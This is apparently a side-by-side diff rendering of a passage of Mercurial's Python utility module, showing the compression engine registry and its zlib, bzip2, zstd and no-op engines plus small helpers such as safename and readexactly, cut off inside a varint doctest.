3430 def forbundletype(self, bundletype):
3146 def forbundletype(self, bundletype):
3431 """Obtain a compression engine registered to a bundle type.
3147 """Obtain a compression engine registered to a bundle type.
3432
3148
3433 Will raise KeyError if the bundle type isn't registered.
3149 Will raise KeyError if the bundle type isn't registered.
3434
3150
3435 Will abort if the engine is known but not available.
3151 Will abort if the engine is known but not available.
3436 """
3152 """
3437 engine = self._engines[self._bundletypes[bundletype]]
3153 engine = self._engines[self._bundletypes[bundletype]]
3438 if not engine.available():
3154 if not engine.available():
3439 raise error.Abort(_('compression engine %s could not be loaded') %
3155 raise error.Abort(_('compression engine %s could not be loaded') %
3440 engine.name())
3156 engine.name())
3441 return engine
3157 return engine
3442
3158
3443 def supportedwireengines(self, role, onlyavailable=True):
3159 def supportedwireengines(self, role, onlyavailable=True):
3444 """Obtain compression engines that support the wire protocol.
3160 """Obtain compression engines that support the wire protocol.
3445
3161
3446 Returns a list of engines in prioritized order, most desired first.
3162 Returns a list of engines in prioritized order, most desired first.
3447
3163
3448 If ``onlyavailable`` is set, filter out engines that can't be
3164 If ``onlyavailable`` is set, filter out engines that can't be
3449 loaded.
3165 loaded.
3450 """
3166 """
3451 assert role in (SERVERROLE, CLIENTROLE)
3167 assert role in (SERVERROLE, CLIENTROLE)
3452
3168
3453 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3169 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3454
3170
3455 engines = [self._engines[e] for e in self._wiretypes.values()]
3171 engines = [self._engines[e] for e in self._wiretypes.values()]
3456 if onlyavailable:
3172 if onlyavailable:
3457 engines = [e for e in engines if e.available()]
3173 engines = [e for e in engines if e.available()]
3458
3174
3459 def getkey(e):
3175 def getkey(e):
3460 # Sort first by priority, highest first. In case of tie, sort
3176 # Sort first by priority, highest first. In case of tie, sort
3461 # alphabetically. This is arbitrary, but ensures output is
3177 # alphabetically. This is arbitrary, but ensures output is
3462 # stable.
3178 # stable.
3463 w = e.wireprotosupport()
3179 w = e.wireprotosupport()
3464 return -1 * getattr(w, attr), w.name
3180 return -1 * getattr(w, attr), w.name
3465
3181
3466 return list(sorted(engines, key=getkey))
3182 return list(sorted(engines, key=getkey))
3467
3183
3468 def forwiretype(self, wiretype):
3184 def forwiretype(self, wiretype):
3469 engine = self._engines[self._wiretypes[wiretype]]
3185 engine = self._engines[self._wiretypes[wiretype]]
3470 if not engine.available():
3186 if not engine.available():
3471 raise error.Abort(_('compression engine %s could not be loaded') %
3187 raise error.Abort(_('compression engine %s could not be loaded') %
3472 engine.name())
3188 engine.name())
3473 return engine
3189 return engine
3474
3190
3475 def forrevlogheader(self, header):
3191 def forrevlogheader(self, header):
3476 """Obtain a compression engine registered to a revlog header.
3192 """Obtain a compression engine registered to a revlog header.
3477
3193
3478 Will raise KeyError if the revlog header value isn't registered.
3194 Will raise KeyError if the revlog header value isn't registered.
3479 """
3195 """
3480 return self._engines[self._revlogheaders[header]]
3196 return self._engines[self._revlogheaders[header]]
3481
3197
3482 compengines = compressormanager()
3198 compengines = compressormanager()
3483
3199
3484 class compressionengine(object):
3200 class compressionengine(object):
3485 """Base class for compression engines.
3201 """Base class for compression engines.
3486
3202
3487 Compression engines must implement the interface defined by this class.
3203 Compression engines must implement the interface defined by this class.
3488 """
3204 """
3489 def name(self):
3205 def name(self):
3490 """Returns the name of the compression engine.
3206 """Returns the name of the compression engine.
3491
3207
3492 This is the key the engine is registered under.
3208 This is the key the engine is registered under.
3493
3209
3494 This method must be implemented.
3210 This method must be implemented.
3495 """
3211 """
3496 raise NotImplementedError()
3212 raise NotImplementedError()
3497
3213
3498 def available(self):
3214 def available(self):
3499 """Whether the compression engine is available.
3215 """Whether the compression engine is available.
3500
3216
3501 The intent of this method is to allow optional compression engines
3217 The intent of this method is to allow optional compression engines
3502 that may not be available in all installations (such as engines relying
3218 that may not be available in all installations (such as engines relying
3503 on C extensions that may not be present).
3219 on C extensions that may not be present).
3504 """
3220 """
3505 return True
3221 return True
3506
3222
3507 def bundletype(self):
3223 def bundletype(self):
3508 """Describes bundle identifiers for this engine.
3224 """Describes bundle identifiers for this engine.
3509
3225
3510 If this compression engine isn't supported for bundles, returns None.
3226 If this compression engine isn't supported for bundles, returns None.
3511
3227
3512 If this engine can be used for bundles, returns a 2-tuple of strings of
3228 If this engine can be used for bundles, returns a 2-tuple of strings of
3513 the user-facing "bundle spec" compression name and an internal
3229 the user-facing "bundle spec" compression name and an internal
3514 identifier used to denote the compression format within bundles. To
3230 identifier used to denote the compression format within bundles. To
3515 exclude the name from external usage, set the first element to ``None``.
3231 exclude the name from external usage, set the first element to ``None``.
3516
3232
3517 If bundle compression is supported, the class must also implement
3233 If bundle compression is supported, the class must also implement
3518 ``compressstream`` and `decompressorreader``.
3234 ``compressstream`` and `decompressorreader``.
3519
3235
3520 The docstring of this method is used in the help system to tell users
3236 The docstring of this method is used in the help system to tell users
3521 about this engine.
3237 about this engine.
3522 """
3238 """
3523 return None
3239 return None
3524
3240
3525 def wireprotosupport(self):
3241 def wireprotosupport(self):
3526 """Declare support for this compression format on the wire protocol.
3242 """Declare support for this compression format on the wire protocol.
3527
3243
3528 If this compression engine isn't supported for compressing wire
3244 If this compression engine isn't supported for compressing wire
3529 protocol payloads, returns None.
3245 protocol payloads, returns None.
3530
3246
3531 Otherwise, returns ``compenginewireprotosupport`` with the following
3247 Otherwise, returns ``compenginewireprotosupport`` with the following
3532 fields:
3248 fields:
3533
3249
3534 * String format identifier
3250 * String format identifier
3535 * Integer priority for the server
3251 * Integer priority for the server
3536 * Integer priority for the client
3252 * Integer priority for the client
3537
3253
3538 The integer priorities are used to order the advertisement of format
3254 The integer priorities are used to order the advertisement of format
3539 support by server and client. The highest integer is advertised
3255 support by server and client. The highest integer is advertised
3540 first. Integers with non-positive values aren't advertised.
3256 first. Integers with non-positive values aren't advertised.
3541
3257
3542 The priority values are somewhat arbitrary and only used for default
3258 The priority values are somewhat arbitrary and only used for default
3543 ordering. The relative order can be changed via config options.
3259 ordering. The relative order can be changed via config options.
3544
3260
3545 If wire protocol compression is supported, the class must also implement
3261 If wire protocol compression is supported, the class must also implement
3546 ``compressstream`` and ``decompressorreader``.
3262 ``compressstream`` and ``decompressorreader``.
3547 """
3263 """
3548 return None
3264 return None
3549
3265
3550 def revlogheader(self):
3266 def revlogheader(self):
3551 """Header added to revlog chunks that identifies this engine.
3267 """Header added to revlog chunks that identifies this engine.
3552
3268
3553 If this engine can be used to compress revlogs, this method should
3269 If this engine can be used to compress revlogs, this method should
3554 return the bytes used to identify chunks compressed with this engine.
3270 return the bytes used to identify chunks compressed with this engine.
3555 Else, the method should return ``None`` to indicate it does not
3271 Else, the method should return ``None`` to indicate it does not
3556 participate in revlog compression.
3272 participate in revlog compression.
3557 """
3273 """
3558 return None
3274 return None
3559
3275
3560 def compressstream(self, it, opts=None):
3276 def compressstream(self, it, opts=None):
3561 """Compress an iterator of chunks.
3277 """Compress an iterator of chunks.
3562
3278
3563 The method receives an iterator (ideally a generator) of chunks of
3279 The method receives an iterator (ideally a generator) of chunks of
3564 bytes to be compressed. It returns an iterator (ideally a generator)
3280 bytes to be compressed. It returns an iterator (ideally a generator)
3565 of bytes of chunks representing the compressed output.
3281 of bytes of chunks representing the compressed output.
3566
3282
3567 Optionally accepts an argument defining how to perform compression.
3283 Optionally accepts an argument defining how to perform compression.
3568 Each engine treats this argument differently.
3284 Each engine treats this argument differently.
3569 """
3285 """
3570 raise NotImplementedError()
3286 raise NotImplementedError()
3571
3287
3572 def decompressorreader(self, fh):
3288 def decompressorreader(self, fh):
3573 """Perform decompression on a file object.
3289 """Perform decompression on a file object.
3574
3290
3575 Argument is an object with a ``read(size)`` method that returns
3291 Argument is an object with a ``read(size)`` method that returns
3576 compressed data. Return value is an object with a ``read(size)`` that
3292 compressed data. Return value is an object with a ``read(size)`` that
3577 returns uncompressed data.
3293 returns uncompressed data.
3578 """
3294 """
3579 raise NotImplementedError()
3295 raise NotImplementedError()
3580
3296
3581 def revlogcompressor(self, opts=None):
3297 def revlogcompressor(self, opts=None):
3582 """Obtain an object that can be used to compress revlog entries.
3298 """Obtain an object that can be used to compress revlog entries.
3583
3299
3584 The object has a ``compress(data)`` method that compresses binary
3300 The object has a ``compress(data)`` method that compresses binary
3585 data. This method returns compressed binary data or ``None`` if
3301 data. This method returns compressed binary data or ``None`` if
3586 the data could not be compressed (too small, not compressible, etc).
3302 the data could not be compressed (too small, not compressible, etc).
3587 The returned data should have a header uniquely identifying this
3303 The returned data should have a header uniquely identifying this
3588 compression format so decompression can be routed to this engine.
3304 compression format so decompression can be routed to this engine.
3589 This header should be identified by the ``revlogheader()`` return
3305 This header should be identified by the ``revlogheader()`` return
3590 value.
3306 value.
3591
3307
3592 The object has a ``decompress(data)`` method that decompresses
3308 The object has a ``decompress(data)`` method that decompresses
3593 data. The method will only be called if ``data`` begins with
3309 data. The method will only be called if ``data`` begins with
3594 ``revlogheader()``. The method should return the raw, uncompressed
3310 ``revlogheader()``. The method should return the raw, uncompressed
3595 data or raise a ``RevlogError``.
3311 data or raise a ``RevlogError``.
3596
3312
3597 The object is reusable but is not thread safe.
3313 The object is reusable but is not thread safe.
3598 """
3314 """
3599 raise NotImplementedError()
3315 raise NotImplementedError()
3600
3316
3601 class _zlibengine(compressionengine):
3317 class _zlibengine(compressionengine):
3602 def name(self):
3318 def name(self):
3603 return 'zlib'
3319 return 'zlib'
3604
3320
3605 def bundletype(self):
3321 def bundletype(self):
3606 """zlib compression using the DEFLATE algorithm.
3322 """zlib compression using the DEFLATE algorithm.
3607
3323
3608 All Mercurial clients should support this format. The compression
3324 All Mercurial clients should support this format. The compression
3609 algorithm strikes a reasonable balance between compression ratio
3325 algorithm strikes a reasonable balance between compression ratio
3610 and size.
3326 and size.
3611 """
3327 """
3612 return 'gzip', 'GZ'
3328 return 'gzip', 'GZ'
3613
3329
3614 def wireprotosupport(self):
3330 def wireprotosupport(self):
3615 return compewireprotosupport('zlib', 20, 20)
3331 return compewireprotosupport('zlib', 20, 20)
3616
3332
3617 def revlogheader(self):
3333 def revlogheader(self):
3618 return 'x'
3334 return 'x'
3619
3335
3620 def compressstream(self, it, opts=None):
3336 def compressstream(self, it, opts=None):
3621 opts = opts or {}
3337 opts = opts or {}
3622
3338
3623 z = zlib.compressobj(opts.get('level', -1))
3339 z = zlib.compressobj(opts.get('level', -1))
3624 for chunk in it:
3340 for chunk in it:
3625 data = z.compress(chunk)
3341 data = z.compress(chunk)
3626 # Not all calls to compress emit data. It is cheaper to inspect
3342 # Not all calls to compress emit data. It is cheaper to inspect
3627 # here than to feed empty chunks through generator.
3343 # here than to feed empty chunks through generator.
3628 if data:
3344 if data:
3629 yield data
3345 yield data
3630
3346
3631 yield z.flush()
3347 yield z.flush()
3632
3348
3633 def decompressorreader(self, fh):
3349 def decompressorreader(self, fh):
3634 def gen():
3350 def gen():
3635 d = zlib.decompressobj()
3351 d = zlib.decompressobj()
3636 for chunk in filechunkiter(fh):
3352 for chunk in filechunkiter(fh):
3637 while chunk:
3353 while chunk:
3638 # Limit output size to limit memory.
3354 # Limit output size to limit memory.
3639 yield d.decompress(chunk, 2 ** 18)
3355 yield d.decompress(chunk, 2 ** 18)
3640 chunk = d.unconsumed_tail
3356 chunk = d.unconsumed_tail
3641
3357
3642 return chunkbuffer(gen())
3358 return chunkbuffer(gen())
3643
3359
3644 class zlibrevlogcompressor(object):
3360 class zlibrevlogcompressor(object):
3645 def compress(self, data):
3361 def compress(self, data):
3646 insize = len(data)
3362 insize = len(data)
3647 # Caller handles empty input case.
3363 # Caller handles empty input case.
3648 assert insize > 0
3364 assert insize > 0
3649
3365
3650 if insize < 44:
3366 if insize < 44:
3651 return None
3367 return None
3652
3368
3653 elif insize <= 1000000:
3369 elif insize <= 1000000:
3654 compressed = zlib.compress(data)
3370 compressed = zlib.compress(data)
3655 if len(compressed) < insize:
3371 if len(compressed) < insize:
3656 return compressed
3372 return compressed
3657 return None
3373 return None
3658
3374
3659 # zlib makes an internal copy of the input buffer, doubling
3375 # zlib makes an internal copy of the input buffer, doubling
3660 # memory usage for large inputs. So do streaming compression
3376 # memory usage for large inputs. So do streaming compression
3661 # on large inputs.
3377 # on large inputs.
3662 else:
3378 else:
3663 z = zlib.compressobj()
3379 z = zlib.compressobj()
3664 parts = []
3380 parts = []
3665 pos = 0
3381 pos = 0
3666 while pos < insize:
3382 while pos < insize:
3667 pos2 = pos + 2**20
3383 pos2 = pos + 2**20
3668 parts.append(z.compress(data[pos:pos2]))
3384 parts.append(z.compress(data[pos:pos2]))
3669 pos = pos2
3385 pos = pos2
3670 parts.append(z.flush())
3386 parts.append(z.flush())
3671
3387
3672 if sum(map(len, parts)) < insize:
3388 if sum(map(len, parts)) < insize:
3673 return ''.join(parts)
3389 return ''.join(parts)
3674 return None
3390 return None
3675
3391
3676 def decompress(self, data):
3392 def decompress(self, data):
3677 try:
3393 try:
3678 return zlib.decompress(data)
3394 return zlib.decompress(data)
3679 except zlib.error as e:
3395 except zlib.error as e:
3680 raise error.RevlogError(_('revlog decompress error: %s') %
3396 raise error.RevlogError(_('revlog decompress error: %s') %
3681 stringutil.forcebytestr(e))
3397 stringutil.forcebytestr(e))
3682
3398
3683 def revlogcompressor(self, opts=None):
3399 def revlogcompressor(self, opts=None):
3684 return self.zlibrevlogcompressor()
3400 return self.zlibrevlogcompressor()
3685
3401
3686 compengines.register(_zlibengine())
3402 compengines.register(_zlibengine())
3687
3403
3688 class _bz2engine(compressionengine):
3404 class _bz2engine(compressionengine):
3689 def name(self):
3405 def name(self):
3690 return 'bz2'
3406 return 'bz2'
3691
3407
3692 def bundletype(self):
3408 def bundletype(self):
3693 """An algorithm that produces smaller bundles than ``gzip``.
3409 """An algorithm that produces smaller bundles than ``gzip``.
3694
3410
3695 All Mercurial clients should support this format.
3411 All Mercurial clients should support this format.
3696
3412
3697 This engine will likely produce smaller bundles than ``gzip`` but
3413 This engine will likely produce smaller bundles than ``gzip`` but
3698 will be significantly slower, both during compression and
3414 will be significantly slower, both during compression and
3699 decompression.
3415 decompression.
3700
3416
3701 If available, the ``zstd`` engine can yield similar or better
3417 If available, the ``zstd`` engine can yield similar or better
3702 compression at much higher speeds.
3418 compression at much higher speeds.
3703 """
3419 """
3704 return 'bzip2', 'BZ'
3420 return 'bzip2', 'BZ'
3705
3421
3706 # We declare a protocol name but don't advertise by default because
3422 # We declare a protocol name but don't advertise by default because
3707 # it is slow.
3423 # it is slow.
3708 def wireprotosupport(self):
3424 def wireprotosupport(self):
3709 return compewireprotosupport('bzip2', 0, 0)
3425 return compewireprotosupport('bzip2', 0, 0)
3710
3426
3711 def compressstream(self, it, opts=None):
3427 def compressstream(self, it, opts=None):
3712 opts = opts or {}
3428 opts = opts or {}
3713 z = bz2.BZ2Compressor(opts.get('level', 9))
3429 z = bz2.BZ2Compressor(opts.get('level', 9))
3714 for chunk in it:
3430 for chunk in it:
3715 data = z.compress(chunk)
3431 data = z.compress(chunk)
3716 if data:
3432 if data:
3717 yield data
3433 yield data
3718
3434
3719 yield z.flush()
3435 yield z.flush()
3720
3436
3721 def decompressorreader(self, fh):
3437 def decompressorreader(self, fh):
3722 def gen():
3438 def gen():
3723 d = bz2.BZ2Decompressor()
3439 d = bz2.BZ2Decompressor()
3724 for chunk in filechunkiter(fh):
3440 for chunk in filechunkiter(fh):
3725 yield d.decompress(chunk)
3441 yield d.decompress(chunk)
3726
3442
3727 return chunkbuffer(gen())
3443 return chunkbuffer(gen())
3728
3444
3729 compengines.register(_bz2engine())
3445 compengines.register(_bz2engine())
3730
3446
3731 class _truncatedbz2engine(compressionengine):
3447 class _truncatedbz2engine(compressionengine):
3732 def name(self):
3448 def name(self):
3733 return 'bz2truncated'
3449 return 'bz2truncated'
3734
3450
3735 def bundletype(self):
3451 def bundletype(self):
3736 return None, '_truncatedBZ'
3452 return None, '_truncatedBZ'
3737
3453
3738 # We don't implement compressstream because it is hackily handled elsewhere.
3454 # We don't implement compressstream because it is hackily handled elsewhere.
3739
3455
3740 def decompressorreader(self, fh):
3456 def decompressorreader(self, fh):
3741 def gen():
3457 def gen():
3742 # The input stream doesn't have the 'BZ' header. So add it back.
3458 # The input stream doesn't have the 'BZ' header. So add it back.
3743 d = bz2.BZ2Decompressor()
3459 d = bz2.BZ2Decompressor()
3744 d.decompress('BZ')
3460 d.decompress('BZ')
3745 for chunk in filechunkiter(fh):
3461 for chunk in filechunkiter(fh):
3746 yield d.decompress(chunk)
3462 yield d.decompress(chunk)
3747
3463
3748 return chunkbuffer(gen())
3464 return chunkbuffer(gen())
3749
3465
3750 compengines.register(_truncatedbz2engine())
3466 compengines.register(_truncatedbz2engine())
3751
3467
3752 class _noopengine(compressionengine):
3468 class _noopengine(compressionengine):
3753 def name(self):
3469 def name(self):
3754 return 'none'
3470 return 'none'
3755
3471
3756 def bundletype(self):
3472 def bundletype(self):
3757 """No compression is performed.
3473 """No compression is performed.
3758
3474
3759 Use this compression engine to explicitly disable compression.
3475 Use this compression engine to explicitly disable compression.
3760 """
3476 """
3761 return 'none', 'UN'
3477 return 'none', 'UN'
3762
3478
3763 # Clients always support uncompressed payloads. Servers don't because
3479 # Clients always support uncompressed payloads. Servers don't because
3764 # unless you are on a fast network, uncompressed payloads can easily
3480 # unless you are on a fast network, uncompressed payloads can easily
3765 # saturate your network pipe.
3481 # saturate your network pipe.
3766 def wireprotosupport(self):
3482 def wireprotosupport(self):
3767 return compewireprotosupport('none', 0, 10)
3483 return compewireprotosupport('none', 0, 10)
3768
3484
3769 # We don't implement revlogheader because it is handled specially
3485 # We don't implement revlogheader because it is handled specially
3770 # in the revlog class.
3486 # in the revlog class.
3771
3487
3772 def compressstream(self, it, opts=None):
3488 def compressstream(self, it, opts=None):
3773 return it
3489 return it
3774
3490
3775 def decompressorreader(self, fh):
3491 def decompressorreader(self, fh):
3776 return fh
3492 return fh
3777
3493
3778 class nooprevlogcompressor(object):
3494 class nooprevlogcompressor(object):
3779 def compress(self, data):
3495 def compress(self, data):
3780 return None
3496 return None
3781
3497
3782 def revlogcompressor(self, opts=None):
3498 def revlogcompressor(self, opts=None):
3783 return self.nooprevlogcompressor()
3499 return self.nooprevlogcompressor()
3784
3500
3785 compengines.register(_noopengine())
3501 compengines.register(_noopengine())
3786
3502
3787 class _zstdengine(compressionengine):
3503 class _zstdengine(compressionengine):
3788 def name(self):
3504 def name(self):
3789 return 'zstd'
3505 return 'zstd'
3790
3506
3791 @propertycache
3507 @propertycache
3792 def _module(self):
3508 def _module(self):
3793 # Not all installs have the zstd module available. So defer importing
3509 # Not all installs have the zstd module available. So defer importing
3794 # until first access.
3510 # until first access.
3795 try:
3511 try:
3796 from . import zstd
3512 from . import zstd
3797 # Force delayed import.
3513 # Force delayed import.
3798 zstd.__version__
3514 zstd.__version__
3799 return zstd
3515 return zstd
3800 except ImportError:
3516 except ImportError:
3801 return None
3517 return None
3802
3518
3803 def available(self):
3519 def available(self):
3804 return bool(self._module)
3520 return bool(self._module)
3805
3521
3806 def bundletype(self):
3522 def bundletype(self):
3807 """A modern compression algorithm that is fast and highly flexible.
3523 """A modern compression algorithm that is fast and highly flexible.
3808
3524
3809 Only supported by Mercurial 4.1 and newer clients.
3525 Only supported by Mercurial 4.1 and newer clients.
3810
3526
3811 With the default settings, zstd compression is both faster and yields
3527 With the default settings, zstd compression is both faster and yields
3812 better compression than ``gzip``. It also frequently yields better
3528 better compression than ``gzip``. It also frequently yields better
3813 compression than ``bzip2`` while operating at much higher speeds.
3529 compression than ``bzip2`` while operating at much higher speeds.
3814
3530
3815 If this engine is available and backwards compatibility is not a
3531 If this engine is available and backwards compatibility is not a
3816 concern, it is likely the best available engine.
3532 concern, it is likely the best available engine.
3817 """
3533 """
3818 return 'zstd', 'ZS'
3534 return 'zstd', 'ZS'
3819
3535
3820 def wireprotosupport(self):
3536 def wireprotosupport(self):
3821 return compewireprotosupport('zstd', 50, 50)
3537 return compewireprotosupport('zstd', 50, 50)
3822
3538
3823 def revlogheader(self):
3539 def revlogheader(self):
3824 return '\x28'
3540 return '\x28'
3825
3541
3826 def compressstream(self, it, opts=None):
3542 def compressstream(self, it, opts=None):
3827 opts = opts or {}
3543 opts = opts or {}
3828 # zstd level 3 is almost always significantly faster than zlib
3544 # zstd level 3 is almost always significantly faster than zlib
3829 # while providing no worse compression. It strikes a good balance
3545 # while providing no worse compression. It strikes a good balance
3830 # between speed and compression.
3546 # between speed and compression.
3831 level = opts.get('level', 3)
3547 level = opts.get('level', 3)
3832
3548
3833 zstd = self._module
3549 zstd = self._module
3834 z = zstd.ZstdCompressor(level=level).compressobj()
3550 z = zstd.ZstdCompressor(level=level).compressobj()
3835 for chunk in it:
3551 for chunk in it:
3836 data = z.compress(chunk)
3552 data = z.compress(chunk)
3837 if data:
3553 if data:
3838 yield data
3554 yield data
3839
3555
3840 yield z.flush()
3556 yield z.flush()
3841
3557
3842 def decompressorreader(self, fh):
3558 def decompressorreader(self, fh):
3843 zstd = self._module
3559 zstd = self._module
3844 dctx = zstd.ZstdDecompressor()
3560 dctx = zstd.ZstdDecompressor()
3845 return chunkbuffer(dctx.read_from(fh))
3561 return chunkbuffer(dctx.read_from(fh))
3846
3562
3847 class zstdrevlogcompressor(object):
3563 class zstdrevlogcompressor(object):
3848 def __init__(self, zstd, level=3):
3564 def __init__(self, zstd, level=3):
3849 # Writing the content size adds a few bytes to the output. However,
3565 # Writing the content size adds a few bytes to the output. However,
3850 # it allows decompression to be more optimal since we can
3566 # it allows decompression to be more optimal since we can
3851 # pre-allocate a buffer to hold the result.
3567 # pre-allocate a buffer to hold the result.
3852 self._cctx = zstd.ZstdCompressor(level=level,
3568 self._cctx = zstd.ZstdCompressor(level=level,
3853 write_content_size=True)
3569 write_content_size=True)
3854 self._dctx = zstd.ZstdDecompressor()
3570 self._dctx = zstd.ZstdDecompressor()
3855 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3571 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3856 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3572 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3857
3573
3858 def compress(self, data):
3574 def compress(self, data):
3859 insize = len(data)
3575 insize = len(data)
3860 # Caller handles empty input case.
3576 # Caller handles empty input case.
3861 assert insize > 0
3577 assert insize > 0
3862
3578
3863 if insize < 50:
3579 if insize < 50:
3864 return None
3580 return None
3865
3581
3866 elif insize <= 1000000:
3582 elif insize <= 1000000:
3867 compressed = self._cctx.compress(data)
3583 compressed = self._cctx.compress(data)
3868 if len(compressed) < insize:
3584 if len(compressed) < insize:
3869 return compressed
3585 return compressed
3870 return None
3586 return None
3871 else:
3587 else:
3872 z = self._cctx.compressobj()
3588 z = self._cctx.compressobj()
3873 chunks = []
3589 chunks = []
3874 pos = 0
3590 pos = 0
3875 while pos < insize:
3591 while pos < insize:
3876 pos2 = pos + self._compinsize
3592 pos2 = pos + self._compinsize
3877 chunk = z.compress(data[pos:pos2])
3593 chunk = z.compress(data[pos:pos2])
3878 if chunk:
3594 if chunk:
3879 chunks.append(chunk)
3595 chunks.append(chunk)
3880 pos = pos2
3596 pos = pos2
3881 chunks.append(z.flush())
3597 chunks.append(z.flush())
3882
3598
3883 if sum(map(len, chunks)) < insize:
3599 if sum(map(len, chunks)) < insize:
3884 return ''.join(chunks)
3600 return ''.join(chunks)
3885 return None
3601 return None
3886
3602
3887 def decompress(self, data):
3603 def decompress(self, data):
3888 insize = len(data)
3604 insize = len(data)
3889
3605
3890 try:
3606 try:
3891 # This was measured to be faster than other streaming
3607 # This was measured to be faster than other streaming
3892 # decompressors.
3608 # decompressors.
3893 dobj = self._dctx.decompressobj()
3609 dobj = self._dctx.decompressobj()
3894 chunks = []
3610 chunks = []
3895 pos = 0
3611 pos = 0
3896 while pos < insize:
3612 while pos < insize:
3897 pos2 = pos + self._decompinsize
3613 pos2 = pos + self._decompinsize
3898 chunk = dobj.decompress(data[pos:pos2])
3614 chunk = dobj.decompress(data[pos:pos2])
3899 if chunk:
3615 if chunk:
3900 chunks.append(chunk)
3616 chunks.append(chunk)
3901 pos = pos2
3617 pos = pos2
3902 # Frame should be exhausted, so no finish() API.
3618 # Frame should be exhausted, so no finish() API.
3903
3619
3904 return ''.join(chunks)
3620 return ''.join(chunks)
3905 except Exception as e:
3621 except Exception as e:
3906 raise error.RevlogError(_('revlog decompress error: %s') %
3622 raise error.RevlogError(_('revlog decompress error: %s') %
3907 stringutil.forcebytestr(e))
3623 stringutil.forcebytestr(e))
3908
3624
3909 def revlogcompressor(self, opts=None):
3625 def revlogcompressor(self, opts=None):
3910 opts = opts or {}
3626 opts = opts or {}
3911 return self.zstdrevlogcompressor(self._module,
3627 return self.zstdrevlogcompressor(self._module,
3912 level=opts.get('level', 3))
3628 level=opts.get('level', 3))
3913
3629
3914 compengines.register(_zstdengine())
3630 compengines.register(_zstdengine())
3915
3631
3916 def bundlecompressiontopics():
3632 def bundlecompressiontopics():
3917 """Obtains a list of available bundle compressions for use in help."""
3633 """Obtains a list of available bundle compressions for use in help."""
3918 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3634 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3919 items = {}
3635 items = {}
3920
3636
3921 # We need to format the docstring. So use a dummy object/type to hold it
3637 # We need to format the docstring. So use a dummy object/type to hold it
3922 # rather than mutating the original.
3638 # rather than mutating the original.
3923 class docobject(object):
3639 class docobject(object):
3924 pass
3640 pass
3925
3641
3926 for name in compengines:
3642 for name in compengines:
3927 engine = compengines[name]
3643 engine = compengines[name]
3928
3644
3929 if not engine.available():
3645 if not engine.available():
3930 continue
3646 continue
3931
3647
3932 bt = engine.bundletype()
3648 bt = engine.bundletype()
3933 if not bt or not bt[0]:
3649 if not bt or not bt[0]:
3934 continue
3650 continue
3935
3651
3936 doc = pycompat.sysstr('``%s``\n %s') % (
3652 doc = pycompat.sysstr('``%s``\n %s') % (
3937 bt[0], engine.bundletype.__doc__)
3653 bt[0], engine.bundletype.__doc__)
3938
3654
3939 value = docobject()
3655 value = docobject()
3940 value.__doc__ = doc
3656 value.__doc__ = doc
3941 value._origdoc = engine.bundletype.__doc__
3657 value._origdoc = engine.bundletype.__doc__
3942 value._origfunc = engine.bundletype
3658 value._origfunc = engine.bundletype
3943
3659
3944 items[bt[0]] = value
3660 items[bt[0]] = value
3945
3661
3946 return items
3662 return items
3947
3663
3948 i18nfunctions = bundlecompressiontopics().values()
3664 i18nfunctions = bundlecompressiontopics().values()
3949
3665
3950 # convenient shortcut
3666 # convenient shortcut
3951 dst = debugstacktrace
3667 dst = debugstacktrace
3952
3668
3953 def safename(f, tag, ctx, others=None):
3669 def safename(f, tag, ctx, others=None):
3954 """
3670 """
3955 Generate a name that it is safe to rename f to in the given context.
3671 Generate a name that it is safe to rename f to in the given context.
3956
3672
3957 f: filename to rename
3673 f: filename to rename
3958 tag: a string tag that will be included in the new name
3674 tag: a string tag that will be included in the new name
3959 ctx: a context, in which the new name must not exist
3675 ctx: a context, in which the new name must not exist
3960 others: a set of other filenames that the new name must not be in
3676 others: a set of other filenames that the new name must not be in
3961
3677
3962 Returns a file name of the form oldname~tag[~number] which does not exist
3678 Returns a file name of the form oldname~tag[~number] which does not exist
3963 in the provided context and is not in the set of other names.
3679 in the provided context and is not in the set of other names.
3964 """
3680 """
3965 if others is None:
3681 if others is None:
3966 others = set()
3682 others = set()
3967
3683
3968 fn = '%s~%s' % (f, tag)
3684 fn = '%s~%s' % (f, tag)
3969 if fn not in ctx and fn not in others:
3685 if fn not in ctx and fn not in others:
3970 return fn
3686 return fn
3971 for n in itertools.count(1):
3687 for n in itertools.count(1):
3972 fn = '%s~%s~%s' % (f, tag, n)
3688 fn = '%s~%s~%s' % (f, tag, n)
3973 if fn not in ctx and fn not in others:
3689 if fn not in ctx and fn not in others:
3974 return fn
3690 return fn
3975
3691
3976 def readexactly(stream, n):
3692 def readexactly(stream, n):
3977 '''read n bytes from stream.read and abort if less was available'''
3693 '''read n bytes from stream.read and abort if less was available'''
3978 s = stream.read(n)
3694 s = stream.read(n)
3979 if len(s) < n:
3695 if len(s) < n:
3980 raise error.Abort(_("stream ended unexpectedly"
3696 raise error.Abort(_("stream ended unexpectedly"
3981 " (got %d bytes, expected %d)")
3697 " (got %d bytes, expected %d)")
3982 % (len(s), n))
3698 % (len(s), n))
3983 return s
3699 return s
3984
3700
3985 def uvarintencode(value):
3701 def uvarintencode(value):
3986 """Encode an unsigned integer value to a varint.
3702 """Encode an unsigned integer value to a varint.
3987
3703
3988 A varint is a variable length integer of 1 or more bytes. Each byte
3704 A varint is a variable length integer of 1 or more bytes. Each byte
3989 except the last has the most significant bit set. The lower 7 bits of
3705 except the last has the most significant bit set. The lower 7 bits of
3990 each byte store the 2's complement representation, least significant group
3706 each byte store the 2's complement representation, least significant group
3991 first.
3707 first.
3992
3708
3993 >>> uvarintencode(0)
3709 >>> uvarintencode(0)
3994 '\\x00'
3710 '\\x00'
3995 >>> uvarintencode(1)
3711 >>> uvarintencode(1)
3996 '\\x01'
3712 '\\x01'
3997 >>> uvarintencode(127)
3713 >>> uvarintencode(127)
3998 '\\x7f'
3714 '\\x7f'
3999 >>> uvarintencode(1337)
3715 >>> uvarintencode(1337)
4000 '\\xb9\\n'
3716 '\\xb9\\n'
4001 >>> uvarintencode(65536)
3717 >>> uvarintencode(65536)
4002 '\\x80\\x80\\x04'
3718 '\\x80\\x80\\x04'
4003 >>> uvarintencode(-1)
3719 >>> uvarintencode(-1)
4004 Traceback (most recent call last):
3720 Traceback (most recent call last):
